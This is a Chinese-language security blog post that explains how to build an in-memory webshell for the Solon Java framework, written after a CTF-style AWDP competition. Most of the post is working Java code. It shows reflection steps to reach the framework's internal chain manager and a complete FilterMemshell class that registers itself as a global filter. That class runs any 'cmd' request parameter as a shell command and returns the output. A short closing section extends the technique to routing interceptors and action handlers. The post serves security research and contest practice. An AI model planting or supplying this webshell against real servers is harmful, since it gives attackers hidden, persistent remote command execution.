Solon内存马研究
王*飞 发表于 广东 技术文章 1413浏览 · 2024-08-09 08:44

前言

跟学弟拿了这次国赛决赛的awdp的web题,发现两道题目都是solon框架,一道是beetl注入,一道是fastjson原生反序列化,做完学弟说要是题目不出网怎么打,所以就简单研究了一下solon框架的内存马。(有一说一,确实简单

Solon框架

从官网上可以知道:Solon框架是一种国产 Java 应用开发框架,追求克制、简洁、高效、开放、生态,支持java8 ~ java22,目前在github有2.2k的star,也是一种使用较多的国产小框架。
从Java web部分的文档中可以到它的请求处理过程是这样的。如下图

可以看到有过滤器Fliter、路由拦截器RouterInterceptor、处理器Handler等。其中Fliter过滤器是全局的,对所有请求都起作用的,这里便以实现Filter内存马为例说明一下过程。

环境搭建

直接用官网的模板 https://solon.noear.org/start/build.do?artifact=helloworld_jdk8&project=maven&javaVer=1.8 导入IDEA即可,然后写一个flter过滤器

package com.example.demo;

import org.noear.solon.annotation.Component;
import org.noear.solon.core.handle.Context;
import org.noear.solon.core.handle.Filter;
import org.noear.solon.core.handle.FilterChain;

@Component
public class NormalFilter implements Filter {
    @Override
    public void doFilter(Context ctx, FilterChain chain) throws Throwable {
        System.out.println("NormalFilter::doFilter");
        chain.doFilter(ctx);
    }
}

调试及exp编写

在路由/hello下个断点进行调试,查看调用栈发现最早调用doFilter是在org.noear.solon.core.ChainManager,并且filter过滤器就存在filterNodes属性中

接着继续在org.noear.solon.core.ChainManager下断点,不断步进最后发现是在org.noear.solon.core.route.RouterWrapper进行了ChainManager的初始化并调用其addFliter功能进行了Flter过滤器的加载。

所以现在就是要找到内存中的变量_chainManager,并调用它的addFliter就可以加载我们的恶意Filter了。在这里使用c0ny1师傅的工具java-object-searcher,在我们的自定义的Flter里下断点,Evaluate处编写代码

//设置搜索_chainManager
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("_chainManager").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
//打开调试模式
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("E:\\Security research\\JavaSec\\Solon");
searcher.searchObject();

结果如下

另外从官网上我们就可以知道可以用Context ctx = Context.current();直接获取到当前请求的上下文,所以获取_chainManager变量的代码可以这样写

Context ctx = Context.current();
            Object obj = ctx.request();

            Field field = obj.getClass().getSuperclass().getDeclaredField("request");
            field.setAccessible(true);
            obj = field.get(obj);

            field = obj.getClass().getDeclaredField("serverHandler");
            field.setAccessible(true);
            obj = field.get(obj);

            field = obj.getClass().getDeclaredField("handler");
            field.setAccessible(true);
            obj = field.get(obj);

            field = obj.getClass().getDeclaredField("arg$1");
            field.setAccessible(true);
            obj = field.get(obj);

            field = obj.getClass().getSuperclass().getDeclaredField("_chainManager");
            field.setAccessible(true);
            obj = field.get(obj);

            ChainManager chainManager = (ChainManager) obj;
            chainManager.addFilter(new FilterMemshell(), 0);

接着我们在doFilter处写上我们的恶意代码,完整的Filter内存马如下

package com.example.demo;

import org.noear.solon.core.ChainManager;
import org.noear.solon.core.handle.Context;
import org.noear.solon.core.handle.Filter;
import org.noear.solon.core.handle.FilterChain;

import java.lang.reflect.Field;

public class FilterMemshell implements Filter {
    static {
        try {
            Context ctx = Context.current();
            Object obj = ctx.request();

            Field field = obj.getClass().getSuperclass().getDeclaredField("request");
            field.setAccessible(true);
            obj = field.get(obj);

            field = obj.getClass().getDeclaredField("serverHandler");
            field.setAccessible(true);
            obj = field.get(obj);

            field = obj.getClass().getDeclaredField("handler");
            field.setAccessible(true);
            obj = field.get(obj);

            field = obj.getClass().getDeclaredField("arg$1");
            field.setAccessible(true);
            obj = field.get(obj);

            field = obj.getClass().getSuperclass().getDeclaredField("_chainManager");
            field.setAccessible(true);
            obj = field.get(obj);

            ChainManager chainManager = (ChainManager) obj;
            chainManager.addFilter(new FilterMemshell(), 0);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    @Override
    public void doFilter(Context ctx, FilterChain chain) throws Throwable {
        try{
            if(ctx.param("cmd")!=null){
                String str = ctx.param("cmd");
                try{
                    String[] cmds = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/bash", "-c", str};
                    String output = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next();
                    ctx.output(output);
                }catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }catch (Throwable e){
            System.out.println("异常:"+e.getMessage())    ;
        }
        chain.doFilter(ctx);
    }
}

测试

@Controller
public class DemoController {
    @Mapping("/hello")
    public String hello(@Param(defaultValue = "world") String name) throws Throwable {
        new FilterMemshell();
        return String.format("Hello %s!", name);
    }
}

get传参cmd=whoami,可以看到成功打入Fliter内存马

扩展

在ChainManager类还看到其他组件的增加功能,由于他们都是一样存在变量_chainManager中,所以按上面获取变量的路径很容易就能得到其他组件的内存马,分别是RouterInterceptor、ActionReturnHandler、ActionExecuteHandler。

0 条评论
某人
表情
可输入 255